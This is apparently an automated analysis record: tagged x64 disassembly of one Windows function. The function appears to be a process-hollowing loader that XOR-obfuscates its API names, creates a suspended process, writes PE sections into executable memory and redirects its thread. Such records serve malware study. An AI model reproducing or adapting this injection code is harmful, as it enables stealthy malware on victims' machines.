Function at 0x14000a1bd
Capabilities:
Encode data using xor
Get common file path
Link many functions at runtime

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0xa3c8
call fcn.140015330
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xa330], xmm6
mov qword [rbp + 0xa328], 0xfffffffffffffffe
inc qword [0x140102e38]
mov rbx, rcx
movsxd rcx, dword [rcx + 0x3c]
lea rax, [rcx + rbx]
inc qword [0x140102e58]
test rax, rax
je 0x14000a377
lea rdi, [rcx + rbx]
add rdi, 0x108
inc qword [0x140102e60]
inc qword [0x140102e48]
test rdi, rdi
je 0x14000a377
mov qword [rbp + 0xa320], rcx
mov qword [rbp + 0xa258], rax
inc qword [0x140102e50]
lea rdx, [rbp + 0x9b40]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
inc qword [0x140102f58]
xor ecx, ecx
call fcn.140043760
mov ecx, eax
call fcn.140048f40
lea r15, [rbp + 0x9d40]
mov r8d, 0x104
mov rcx, r15
xor edx, edx
call fcn.14000d450
call fcn.140048f58
cdqe
imul rcx, rax, 0x66666667
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
add ecx, ecx
lea ecx, [rcx + rcx*4]
neg ecx
lea r12d, [rax + rcx]
add r12d, 0xa
movabs rsi, 0xe38e38e38e38e38f
lea r13, str.QWEDFG345678zxcvbnw
lea r14, [rbp - 0x30]
inc qword [0x140102e68]
call fcn.140048f58
movsxd rcx, eax
mov rax, rcx
mul rsi
shr rdx, 3
and rdx, 0xfffffffffffffffe
lea rax, [rdx + rdx*8]
sub rcx, rax
mov al, byte [r13 + rcx]
mov byte [rbp - 0x30], al
mov byte [rbp - 0x2f], 0
mov rcx, r15
mov rdx, r14
call fcn.140048fa0
dec r12d
jne 0x14000a2c6
inc qword [0x1401036b0]
lea r15, [rbp + 0x9930]
lea r8, [rbp + 0x9b40]
mov edx, 0x104
mov rcx, r15
call fcn.14004a10c
inc qword [0x1401036b8]
lea r8, [rbp + 0x9d40]
mov edx, 0x104
mov rcx, r15
call fcn.14004a018
mov word [r15 + 0x206], 0
lea rcx, [rbp + 0xa2e8]
mov qword [rcx], 0
lea r8, [0x1400839d2]
mov rdx, r15
call fcn.140043c54
test eax, eax
je 0x14000a39d
inc qword [0x140102e70]
jmp 0x14000a37e
inc qword [0x140102e40]
xor ebx, ebx
mov eax, ebx
movaps xmm6, xmmword [rbp + 0xa330]
add rsp, 0xa3c8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
inc qword [0x140102e78]
cmp qword [rbp + 0xa2e8], 0
je 0x14000a36e
inc qword [0x140102e80]
lea rax, [rbp - 0x2a]
mov dword [rax - 6], 0xa563efc9
mov word [rax - 2], 0x1ab4
lea rdx, [rbp + 0xa120]
mov qword [rdx], r14
mov qword [rdx + 8], rax
inc qword [0x140103680]
lea r14, [rbp + 0xa198]
lea r8, [rbp + 0x9e50]
mov rcx, r14
call fcn.140009916
lea rdx, [0x1400839e0]
lea r15, [rbp - 0x30]
mov r8d, 0x9960
mov rcx, r15
call fcn.14000d520
mov r8d, 0x9960
mov rcx, r14
mov rdx, r15
call fcn.140009dd3
mov rsi, qword [rbp + 0xa258]
mov r9, qword [rbp + 0xa2e8]
lea rcx, [rbp - 0x30]
mov edx, 1
mov r8d, 0x9960
call fcn.14004804c
mov rcx, qword [rbp + 0xa2e8]
call fcn.140046464
mov rcx, rsi
mov rdx, rdi
call fcn.140009cd7
mov r14d, eax
xorps xmm0, xmm0
movaps xmmword [rbp + 0xa130], xmm0
movaps xmmword [rbp + 0xa140], xmm0
movaps xmmword [rbp + 0xa150], xmm0
movaps xmmword [rbp + 0xa160], xmm0
movaps xmmword [rbp + 0xa170], xmm0
movaps xmmword [rbp + 0xa180], xmm0
xor eax, eax
mov qword [rbp + 0xa190], rax
mov dword [rbp + 0xa130], 0x68
movaps xmmword [rbp + 0xa2f0], xmm0
mov qword [rbp + 0xa300], rax
inc qword [0x140102f60]
movups xmm0, xmmword [str._KTP]
movaps xmmword [rbp + 0xa270], xmm0
inc qword [0x1401036c8]
movups xmm0, xmmword [0x14008d34a]
inc qword [0x140103a90]
movups xmmword [rbp + 0xa27a], xmm0
inc qword [0x1401036d0]
inc qword [0x140103a98]
mov rcx, qword [0x140103aa0]
lea edx, [rax + 0x37]
xor word [rbp + rax*2 + 0xa270], dx
inc rax
cmp rax, 0xd
jne 0x14000a4eb
add rcx, 0xd
mov qword [0x140103aa0], rcx
lea rcx, [rbp + 0xa270]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x14000ac10
mov rdi, rax
inc qword [0x1401036d8]
inc qword [0x140103a90]
cmp word [rbp + 0xa288], 0
jne 0x14000a571
inc qword [0x1401036e0]
inc qword [0x140103a98]
mov rax, qword [0x140103aa0]
xor ecx, ecx
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0xa270], dx
inc rcx
cmp rcx, 0xd
jne 0x14000a552
add rax, 0xd
mov qword [0x140103aa0], rax
inc qword [0x1401036e8]
mov rax, qword [0x1401036f0]
xor ecx, ecx
mov word [rbp + rcx*2 + 0xa270], 0
inc rcx
cmp rcx, 0xd
jne 0x14000a581
inc qword [0x140102f68]
add rax, 0xd
inc qword [0x1401036f8]
mov qword [0x1401036f0], rax
inc qword [0x140103aa8]
movups xmm0, xmmword [0x14008d35a]
inc qword [0x140103700]
movaps xmmword [rbp + 0xa210], xmm0
inc qword [0x140103ab0]
movups xmm0, xmmword [0x14008d368]
movups xmmword [rbp + 0xa21e], xmm0
mov rax, qword [0x140103ab8]
xor ecx, ecx
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0xa210], dx
inc rcx
cmp rcx, 0xf
jne 0x14000a5e7
add rax, 0xf
mov qword [0x140103ab8], rax
lea rcx, [rbp + 0xa210]
call fcn.140009d4d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000ac1c
mov r10, rax
lea rax, [rbp + 0xa2f0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xa130]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
lea rcx, [rbp + 0x9930]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call r10
test rax, rax
je 0x14000ac28
inc qword [0x140103708]
mov rcx, qword [0x140103aa8]
lea rax, [rcx + 1]
mov qword [0x140103aa8], rax
cmp word [rbp + 0xa22c], 0
jne 0x14000a6d1
inc qword [0x140103710]
inc qword [0x140103ab0]
mov rdx, qword [0x140103ab8]
xor r8d, r8d
lea r9d, [r8 + 0x37]
xor word [rbp + r8*2 + 0xa210], r9w
inc r8
cmp r8, 0xf
jne 0x14000a6b0
add rdx, 0xf
mov qword [0x140103ab8], rdx
inc qword [0x140103718]
mov rdx, qword [0x140103720]
xor r8d, r8d
mov word [rbp + r8*2 + 0xa210], 0
inc r8
cmp r8, 0xf
jne 0x14000a6e2
add rdx, 0xf
mov qword [0x140103720], rdx
test r14b, r14b
je 0x14000a83c
inc qword [0x140102ea0]
inc qword [0x140102f70]
movups xmm0, xmmword [0x14008d378]
inc qword [0x140103728]
movaps xmmword [rbp + 0x9e50], xmm0
inc qword [0x1401036f8]
movups xmm0, xmmword [0x14008d386]
inc qword [0x140103700]
movups xmmword [rbp + 0x9e5e], xmm0
inc qword [0x140103ab0]
add rcx, 2
mov qword [0x140103aa8], rcx
xor ecx, ecx
mov rax, qword [0x140103ab8]
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0x9e50], dx
inc rcx
cmp rcx, 0xf
jne 0x14000a764
add rax, 0xf
mov qword [0x140103ab8], rax
lea rcx, [rbp + 0x9e50]
call fcn.140009d4d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000ac95
mov rcx, qword [rbp + 0xa2f0]
lea rdx, [rbp + 0xa254]
call rax
inc qword [0x140103708]
mov rax, qword [0x140103aa8]
inc rax
mov qword [0x140103aa8], rax
cmp word [rbp + 0x9e6c], 0
jne 0x14000a80e
inc qword [0x140103710]
inc qword [0x140103ab0]
mov rcx, qword [0x140103ab8]
xor edx, edx
lea r8d, [rdx + 0x37]
xor word [rbp + rdx*2 + 0x9e50], r8w
inc rdx
cmp rdx, 0xf
jne 0x14000a7ed
add rcx, 0xf
mov qword [0x140103ab8], rcx
inc qword [0x140103718]
mov rcx, qword [0x140103720]
xor edx, edx
mov word [rbp + rdx*2 + 0x9e50], 0
inc rdx
cmp rdx, 0xf
jne 0x14000a81e
add rcx, 0xf
mov qword [0x140103720], rcx
inc qword [0x140102f78]
movups xmm0, xmmword [0x14008d396]
inc qword [0x140103728]
movaps xmmword [rbp + 0xa230], xmm0
inc qword [0x1401036f8]
movups xmm0, xmmword [0x14008d3a4]
inc qword [0x140103700]
movups xmmword [rbp + 0xa23e], xmm0
inc qword [0x140103ab0]
inc rax
mov qword [0x140103aa8], rax
mov rax, qword [0x140103ab8]
xor ecx, ecx
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0xa230], dx
inc rcx
cmp rcx, 0xf
jne 0x14000a88e
add rax, 0xf
mov qword [0x140103ab8], rax
lea rcx, [rbp + 0xa230]
call fcn.140009d4d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000ac34
mov r10, rax
inc qword [0x140103708]
inc qword [0x140103aa8]
cmp word [rbp + 0xa24c], 0
jne 0x14000a91f
inc qword [0x140103710]
inc qword [0x140103ab0]
mov rax, qword [0x140103ab8]
xor ecx, ecx
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0xa230], dx
inc rcx
cmp rcx, 0xf
jne 0x14000a900
add rax, 0xf
mov qword [0x140103ab8], rax
inc qword [0x140103718]
mov rax, qword [0x140103720]
xor ecx, ecx
mov word [rbp + rcx*2 + 0xa230], 0
inc rcx
cmp rcx, 0xf
jne 0x14000a92f
add rax, 0xf
mov qword [0x140103720], rax
mov edx, dword [rsi + 0x34]
mov r8d, dword [rsi + 0x50]
mov rcx, qword [rbp + 0xa2f0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call r10
mov r15, rax
mov qword [rbp + 0xa318], rax
test rax, rax
jne 0x14000aabd
inc qword [0x140102eb8]
inc qword [0x140102f80]
inc qword [0x140103730]
inc qword [0x140103ac0]
movups xmm0, xmmword [0x14008d3b4]
inc qword [0x140103ad0]
movaps xmmword [rbp + 0x9e50], xmm0
inc qword [0x140103ac8]
movups xmm0, xmmword [0x14008d3c4]
inc qword [0x140103ad8]
movaps xmmword [rbp + 0x9e60], xmm0
mov word [rbp + 0x9e70], 0x47
xor ecx, ecx
mov rax, qword [0x140103ae0]
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0x9e50], dx
inc rcx
cmp rcx, 0x11
jne 0x14000a9de
add rax, 0x11
mov qword [0x140103ae0], rax
lea rcx, [rbp + 0x9e50]
call fcn.140009d4d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000b419
mov rcx, qword [rbp + 0xa2f0]
xor edx, edx
call rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
inc qword [0x140103738]
inc qword [0x140103ad0]
cmp word [rbp + 0x9e70], 0
jne 0x14000aa80
inc qword [0x140103740]
inc qword [0x140103ad8]
mov rax, qword [0x140103ae0]
xor ecx, ecx
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0x9e50], dx
inc rcx
cmp rcx, 0x11
jne 0x14000aa61
add rax, 0x11
mov qword [0x140103ae0], rax
inc qword [0x140103748]
mov rax, qword [0x140103750]
xor ecx, ecx
mov word [rbp + rcx*2 + 0x9e50], 0
inc rcx
cmp rcx, 0x11
jne 0x14000aa90
add rax, 0x11
mov qword [0x140103750], rax
mov rcx, rbx
call fcn.14000a1bd
mov r15, qword [rbp + 0xa318]
sub r15d, dword [rsi + 0x34]
inc qword [0x140102f88]
inc qword [0x140103758]
movups xmm0, xmmword [0x14008d3d6]
inc qword [0x140103ae8]
movaps xmmword [rbp + 0xa1e0], xmm0
inc qword [0x140103af8]
movups xmm0, xmmword [0x14008d3e6]
inc qword [0x140103af0]
movaps xmmword [rbp + 0xa1f0], xmm0
inc qword [0x140103b00]
movabs rax, 0x49003100350029
mov qword [rbp + 0xa1fe], rax
xor ecx, ecx
mov rax, qword [0x140103b08]
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0xa1e0], dx
inc rcx
cmp rcx, 0x13
jne 0x14000ab21
add rax, 0x13
mov qword [0x140103b08], rax
lea rcx, [rbp + 0xa1e0]
call fcn.140009d4d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
inc qword [0x140103760]
inc qword [0x140103af8]
mov qword [rbp + 0xa308], rax
cmp word [rbp + 0xa204], 0
jne 0x14000abad
inc qword [0x140103768]
inc qword [0x140103b00]
mov rax, qword [0x140103b08]
xor ecx, ecx
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0xa1e0], dx
inc rcx
cmp rcx, 0x13
jne 0x14000ab8e
add rax, 0x13
mov qword [0x140103b08], rax
inc qword [0x140103770]
mov rax, qword [0x140103778]
xor ecx, ecx
mov word [rbp + rcx*2 + 0xa1e0], 0
inc rcx
cmp rcx, 0x13
jne 0x14000abbd
add rax, 0x13
mov qword [0x140103778], rax
test r14b, r14b
je 0x14000ac40
inc qword [0x140102ec8]
mov rdx, qword [rbp + 0xa318]
mov dword [rsi + 0x34], edx
mov r9d, dword [rsi + 0x54]
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
mov r8, rbx
call qword [rbp + 0xa308]
jmp 0x14000ac64
inc qword [0x140102e88]
jmp 0x14000b444
inc qword [0x140102e90]
jmp 0x14000b444
inc qword [0x140102e98]
jmp 0x14000b444
inc qword [0x140102eb0]
jmp 0x14000b444
mov r9d, dword [rsi + 0x54]
mov rdx, qword [rbp + 0xa318]
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
mov r8, rbx
call qword [rbp + 0xa308]
test rax, rax
je 0x14000aca1
mov qword [rbp + 0xa260], r15
cmp dword [rsi + 0xa0], 0
je 0x14000acad
inc qword [0x140102ed8]
lea rax, [rsi + 0xa0]
mov r15d, dword [rax]
mov eax, dword [rax + 4]
mov dword [rbp + 0xa314], eax
jmp 0x14000acba
inc qword [0x140102ea8]
jmp 0x14000b444
inc qword [0x140102ed0]
jmp 0x14000b444
xor r15d, r15d
mov dword [rbp + 0xa314], 0
test r14b, r14b
je 0x14000ad92
inc qword [0x140102ee0]
cmp word [rsi + 6], 0
je 0x14000ad86
mov rax, qword [rbp + 0xa320]
lea r12, [rbx + rax]
add r12, 0x18
xor r13d, r13d
xor eax, eax
mov qword [rbp + 0xa320], rax
inc qword [0x140102ee8]
movzx ecx, word [rsi + 0x14]
lea rax, [r12 + rcx]
cmp r15d, dword [r12 + rcx + 0xc]
jb 0x14000ad30
inc qword [0x140102ef8]
mov ecx, dword [rax + 8]
add ecx, dword [rax + 0xc]
cmp r15d, ecx
jae 0x14000ad30
inc qword [0x140102f00]
inc qword [0x140102ef0]
mov rcx, rax
mov qword [rbp + 0xa320], rax
mov edx, dword [rax + 0xc]
mov r9d, dword [rax + 0x10]
mov r8d, dword [rax + 0x14]
add r8, rbx
add rdx, qword [rbp + 0xa318]
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
call qword [rbp + 0xa308]
test rax, rax
je 0x14000b422
inc r13
movzx eax, word [rsi + 6]
add r12, 0x28
cmp r13, rax
jb 0x14000acf0
cmp qword [rbp + 0xa320], 0
jne 0x14000ae0b
inc qword [0x140102f10]
jmp 0x14000b444
cmp word [rsi + 6], 0
je 0x14000b069
mov rax, qword [rbp + 0xa320]
lea r15, [rbx + rax]
add r15, 0x18
xor eax, eax
mov qword [rbp + 0xa320], rax
xor r12d, r12d
inc qword [0x140102f18]
movzx eax, word [rsi + 0x14]
mov edx, dword [r15 + rax + 0xc]
mov r9d, dword [r15 + rax + 0x10]
mov r8d, dword [r15 + rax + 0x14]
add r8, rbx
add rdx, qword [rbp + 0xa318]
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
call qword [rbp + 0xa308]
test rax, rax
je 0x14000b42b
inc r12
movzx eax, word [rsi + 6]
add r15, 0x28
cmp r12, rax
jb 0x14000adb8
test r14b, r14b
je 0x14000b069
inc qword [0x140102f28]
cmp dword [rbp + 0xa314], 0
je 0x14000b069
xor r13d, r13d
movabs rcx, 0x1fffffff8
xorps xmm6, xmm6
inc qword [0x140102f30]
mov rax, qword [rbp + 0xa320]
mov eax, dword [rax + 0x14]
mov edx, r13d
add rdx, rbx
add r13d, 8
mov r12d, dword [rax + rdx + 4]
add r12, rcx
shr r12, 1
test r12d, r12d
je 0x14000b05c
add rdx, rax
lea eax, [r13 + r12*2]
mov dword [rbp + 0xa2e4], eax
xor r15d, r15d
mov qword [rbp + 0xa268], rdx
inc qword [0x140102f38]
mov rax, qword [rbp + 0xa320]
mov eax, dword [rax + 0x14]
mov ecx, r13d
add rcx, rbx
movzx r14d, word [rax + rcx]
cmp r14, 0xfff
ja 0x14000aeb0
inc qword [0x140102f40]
jmp 0x14000b039
and r14d, 0xfff
add r14, qword [rbp + 0xa318]
mov eax, dword [rdx]
inc qword [0x140102f90]
add r14, rax
inc qword [0x140103780]
mov dword [rbp + 0xa2b0], 0
inc qword [0x140103b10]
movups xmm0, xmmword [0x14008d3fc]
inc qword [0x140103b20]
movaps xmmword [rbp + 0x9e50], xmm0
inc qword [0x140103b18]
movups xmm0, xmmword [0x14008d40c]
inc qword [0x140103b28]
movaps xmmword [rbp + 0x9e60], xmm0
mov dword [rbp + 0x9e70], 0x48003e
mov rax, qword [0x140103b30]
xor ecx, ecx
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0x9e50], dx
inc rcx
cmp rcx, 0x12
jne 0x14000af26
add rax, 0x12
mov qword [0x140103b30], rax
lea rcx, [rbp + 0x9e50]
call fcn.140009d4d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000b43d
inc qword [0x140103788]
inc qword [0x140103b20]
cmp word [rbp + 0x9e72], 0
jne 0x14000afb6
inc qword [0x140103790]
inc qword [0x140103b28]
mov rcx, qword [0x140103b30]
xor edx, edx
lea r8d, [rdx + 0x37]
xor word [rbp + rdx*2 + 0x9e50], r8w
inc rdx
cmp rdx, 0x12
jne 0x14000af95
add rcx, 0x12
mov qword [0x140103b30], rcx
inc qword [0x140103798]
movaps xmmword [rbp + 0x9e50], xmm6
movaps xmmword [rbp + 0x9e60], xmm6
mov dword [rbp + 0x9e70], 0
add qword [0x1401037a0], 0x12
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rdx, r14
lea r8, [rbp + 0xa2b0]
call rax
mov rax, qword [rbp + 0xa260]
add dword [rbp + 0xa2b0], eax
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rdx, r14
lea r8, [rbp + 0xa2b0]
call qword [rbp + 0xa308]
mov rdx, qword [rbp + 0xa268]
add r13d, 2
inc r15d
cmp r15d, r12d
jne 0x14000ae7f
mov eax, dword [rbp + 0xa2e4]
mov r13d, eax
movabs rcx, 0x1fffffff8
cmp r13d, dword [rbp + 0xa314]
jb 0x14000ae38
inc qword [0x140102f98]
mov dword [rbp + 0x9e50], 0x10000b
inc qword [0x1401037a8]
movups xmm0, xmmword [0x14008d420]
inc qword [0x140103b38]
movaps xmmword [rbp + 0xa2b0], xmm0
inc qword [0x140103b48]
movups xmm0, xmmword [0x14008d430]
inc qword [0x140103b40]
movaps xmmword [rbp + 0xa2c0], xmm0
inc qword [0x140103b50]
movups xmm0, xmmword [0x14008d43c]
movups xmmword [rbp + 0xa2cc], xmm0
xor ecx, ecx
mov rax, qword [0x140103b58]
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0xa2b0], dx
inc rcx
cmp rcx, 0x16
jne 0x14000b0d0
add rax, 0x16
mov qword [0x140103b58], rax
lea rcx, [rbp + 0xa2b0]
call fcn.140009d4d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
setne bl
je 0x14000b434
mov rcx, qword [rbp + 0xa2f8]
lea rdx, [rbp + 0x9e50]
call rax
mov edx, dword [rbp + 0x9ef4]
add rdx, 8
mov rcx, qword [rbp + 0xa2f0]
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0xa318]
mov r9d, 4
call qword [rbp + 0xa308]
inc qword [0x1401037b0]
mov rax, qword [0x140103b48]
lea rcx, [rax + 1]
mov qword [0x140103b48], rcx
cmp word [rbp + 0xa2da], 0
jne 0x14000b1ab
inc qword [0x1401037b8]
inc qword [0x140103b50]
mov rcx, qword [0x140103b58]
xor edx, edx
lea r8d, [rdx + 0x37]
xor word [rbp + rdx*2 + 0xa2b0], r8w
inc rdx
cmp rdx, 0x16
jne 0x14000b18a
add rcx, 0x16
mov qword [0x140103b58], rcx
inc qword [0x1401037c0]
mov rcx, qword [0x1401037c8]
xor edx, edx
mov word [rbp + rdx*2 + 0xa2b0], 0
inc rdx
cmp rdx, 0x16
jne 0x14000b1bb
add rcx, 0x16
mov qword [0x1401037c8], rcx
inc qword [0x140102fa0]
movups xmm0, xmmword [0x14008d44c]
movaps xmmword [rbp + 0xa1b0], xmm0
movups xmm0, xmmword [0x14008d45c]
movaps xmmword [rbp + 0xa1c0], xmm0
movups xmm0, xmmword [0x14008d468]
movups xmmword [rbp + 0xa1cc], xmm0
mov ecx, dword [rsi + 0x28]
add ecx, dword [rbp + 0xa318]
inc qword [0x1401037a8]
inc qword [0x140103b38]
inc qword [0x140103b40]
mov dword [rbp + 0x9f00], ecx
inc qword [0x140103b50]
add rax, 2
mov qword [0x140103b48], rax
xor ecx, ecx
mov rax, qword [0x140103b58]
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0xa1b0], dx
inc rcx
cmp rcx, 0x16
jne 0x14000b249
add rax, 0x16
mov qword [0x140103b58], rax
lea rcx, [rbp + 0xa1b0]
call fcn.140009d4d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0xa2f8]
lea rdx, [rbp + 0x9e50]
call rax
inc qword [0x1401037b0]
inc qword [0x140103b48]
cmp word [rbp + 0xa1da], 0
jne 0x14000b2de
inc qword [0x1401037b8]
inc qword [0x140103b50]
mov rax, qword [0x140103b58]
xor ecx, ecx
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0xa1b0], dx
inc rcx
cmp rcx, 0x16
jne 0x14000b2bf
add rax, 0x16
mov qword [0x140103b58], rax
inc qword [0x1401037c0]
mov rax, qword [0x1401037c8]
xor ecx, ecx
mov word [rbp + rcx*2 + 0xa1b0], 0
inc rcx
cmp rcx, 0x16
jne 0x14000b2ee
inc qword [0x140102fa8]
inc qword [0x1401037d0]
add rax, 0x16
inc qword [0x1401036c8]
mov qword [0x1401037c8], rax
inc qword [0x140103a90]
movups xmm0, xmmword [0x14008d478]
inc qword [0x1401036d0]
movaps xmmword [rbp + 0xa290], xmm0
inc qword [0x140103a98]
movups xmm0, xmmword [0x14008d482]
movups xmmword [rbp + 0xa29a], xmm0
xor ecx, ecx
mov rax, qword [0x140103aa0]
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0xa290], dx
inc rcx
cmp rcx, 0xd
jne 0x14000b35b
add rax, 0xd
mov qword [0x140103aa0], rax
lea rcx, [rbp + 0xa290]
call fcn.140009d4d
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0xa2f8]
call rax
inc qword [0x1401036d8]
inc qword [0x140103a90]
cmp word [rbp + 0xa2a8], 0
jne 0x14000b3e9
inc qword [0x1401036e0]
inc qword [0x140103a98]
mov rax, qword [0x140103aa0]
xor ecx, ecx
lea edx, [rcx + 0x37]
xor word [rbp + rcx*2 + 0xa290], dx
inc rcx
cmp rcx, 0xd
jne 0x14000b3ca
add rax, 0xd
mov qword [0x140103aa0], rax
inc qword [0x1401036e8]
mov rax, qword [0x1401036f0]
xor ecx, ecx
mov word [rbp + rcx*2 + 0xa290], 0
inc rcx
cmp rcx, 0xd
jne 0x14000b3f9
add rax, 0xd
mov qword [0x1401036f0], rax
jmp 0x14000b446
inc qword [0x140102ec0]
jmp 0x14000b444
inc qword [0x140102f08]
jmp 0x14000b444
inc qword [0x140102f20]
jmp 0x14000b444
inc qword [0x140102f50]
jmp 0x14000b446
inc qword [0x140102f48]
xor ebx, ebx
inc qword [0x1401036a8]
inc qword [0x140103968]
inc qword [0x140103800]
inc qword [0x140103860]
inc qword [0x140103978]
mov rcx, qword [rbp + 0xa198]
test rcx, rcx
je 0x14000a380
inc qword [0x140103970]
inc qword [0x140103980]
mov rdx, qword [rbp + 0xa1a8]
sub rdx, rcx
inc qword [0x140103990]
inc qword [0x140103998]
cmp rdx, 0x1000
jb 0x14000b4e5
inc qword [0x1401039a0]
inc qword [0x1401039a8]
mov rax, qword [rcx - 8]
sub rcx, rax
cmp rcx, 8
jb 0x14000b4ef
inc qword [0x1401039c0]
cmp rcx, 0x28
jae 0x14000b4ef
add rdx, 0x27
inc qword [0x1401039c8]
inc qword [0x1401039b8]
mov rcx, rax
call fcn.140014798
jmp 0x14000a380
call fcn.140041bc0
int3